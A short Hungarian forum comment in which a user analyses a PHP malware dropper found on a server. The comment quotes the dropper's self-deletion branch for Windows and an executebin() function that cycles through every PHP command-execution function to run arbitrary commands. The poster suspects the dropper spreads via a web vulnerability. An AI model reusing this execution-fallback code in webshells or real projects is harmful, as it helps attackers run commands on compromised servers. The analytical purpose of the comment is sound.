( gemnon | 2015. 11. 09., h – 14:38 )

Az a része nem készült el, az az ág is a linux binárist dekódolja :P


elseif (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN')
{
    $freebsd = 0;
    echo "os=windows\n";
    if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
        die('remove=ok\n');
    else
        die ('remove=false\n');
}

Szerintem tutira valami webes sebezhetőségen keresztül terjed, mert mindent megtesz a futtatás érdekében. Nem lennék meglepve, ha a támadó kód nagyon hasonlítana a dekóderéhez.


function executebin($c)
{
    $exebin='false';
    @ob_start();
    if (function_exists('exec')) {
        @exec($c, $r);
        echo @implode("\n", $r);
        $exebin='exec';
    } elseif (function_exists('system')) { @system($c); $exebin='system';}
    elseif (function_exists('shell_exec')) { echo @shell_exec($c); $exebin='shell_exec';}
    elseif (function_exists('passthru')) {@passthru($c); $exebin='passthru';}
    elseif (is_resource($f = @popen($c, 'r'))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @pclose($f);
        $exebin='popen';
    } elseif (is_resource($f = @proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'a')), $p))) {
        echo @stream_get_contents($p[1]);
        @proc_close($c);
        $exebin='proc_open';
    }
      elseif (function_exists('pcntl_exec')) {@pcntl_exec('/bin/sh', array('-c',  $c)); $exebin='pcntl_exec';}
    elseif (is_resource($f = @expect_popen($c))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @fclose($f);
        $exebin='expect_popen';
    } elseif (is_resource($f = @fopen('expect://' . $c, 'r'))) {
        while (!@feof($f)) echo @fread($f, 1024);
        @fclose($f);
        $exebin='expect';
    }
    @ob_get_clean();
    return $exebin;
}